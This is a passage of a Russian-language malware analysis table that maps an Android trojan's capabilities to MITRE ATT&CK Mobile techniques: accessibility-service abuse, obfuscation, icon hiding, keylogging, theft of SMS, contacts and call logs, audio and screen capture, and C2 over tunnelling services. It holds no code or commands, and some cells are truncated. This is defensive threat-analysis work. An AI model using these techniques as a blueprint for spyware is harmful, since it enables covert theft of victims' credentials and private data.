Privilege Escalation (TA0029) | T1626 | Abuse Accessibility Features | Использование сервиса специальных возможностей для автоматического нажатия кнопок в диалогах запроса разрешений. Троян применяет Accessibility Service для записи и воспроизведения жестов, разблокировки экрана и скрытого выполнения действий в фоне, минуя визуальный контроль жертвы |
Defense Evasion (TA0030) | T1406 | Obfuscated Files or Information | Обфускация основного модуля и плагинов: классы и методы переименованы в бессмысленные идентификаторы, код содержит бесполезные циклы и пустые блоки для запутывания анализа |
T1027.002 | Software Packing | Использование сжатия GZIP для всех передаваемых данных. Доставка плагинов на устройство в сжатом виде DEX-файлов, и удаление их после загрузки | |
T1497 | Virtualization/Sandbox Evasion | Проверка параметров системы ( | |
T1628 | Hide Application | Маскировка своей иконки из меню приложений, отключая основную активность через | |
Credential Access (TA0031) | T1417 | Input Capture | Перехват вводимых данных несколькими способами: через JavaScript-скиммер, через кейлоггер, реализованный как кастомная клавиатура (InputMethodService), и через Accessibility Service, который считывает текст с экрана |
T1636 | Protected User Data | Извлечение SMS-сообщений, журнала звонков, данных адресной книги и списка установленных приложений с иконками | |
Discovery (TA0032) | T1420 | File and Directory Discovery | Навигация по файловой системе устройства за счет наличия плагина files. Команда |
T1421 | System Information Discovery | Сбор детальной информации с помощью плагина info. | |
T1636.003 | Protected User Data: Contact List | Извлечение из устройства списка контактов с помощью плагина contacts. | |
T1430 | Location Tracking | Отслеживание геолокации устройства через сервис, который активируется командой с опкодом | |
Collection (TA0033) | T1429 | Audio Capture | Активация микрофона и стриминг аудио на сервер в реальном времени с помощью плагина microphone |
T1113 | Screen Capture | Создание скриншотов с помощью плагина info. Захват экрана через MediaProjection API с отправкой на сервер С2 | |
T1533 | Data from Local System | Копирование и последующая отправка на C2-сервер файлов с устройства. За это действие отвечает плагин files | |
T1636.001 | Protected User Data: Call Logs | Извлечение журнала звонков (входящие, исходящие, пропущенные) с датой и длительностью с помощью плагина calls | |
Command and Control (TA0037) | T1095 | Non-Application Layer Protocol | Обеспечение основного канала управления и запуск отдельных стримов для скринкаста и аудио, используя чистые TCP-соединения |
T1571 | Non-Standard Port | Коммуникация с C2-сервером через нестандартные порты | |
T1132 | Data Encoding | Кодировка данных с использованием кастомных разделителей ( | |
T1102 | Web Service | Использует туннелирующие сервисы (ngrok.io, portmap.host) для скрытия реального местоположения сервера управления | |
Exfiltration (TA0036) | T1041 | Exfiltration Over C2 Channel | Отправка на сервер собранных данных (списки приложений, контактов, SMS, логи). Действие производится через тот же основной C2-канал в ответ на команды |
T1029 | Scheduled Transfer | Периодический сбор и отправка данных каждые 60 секунд | |
Impact (TA0039) | T1447 | Data Destruction | Потенциальная возможность удаления файлов за счет наличия плагина files |

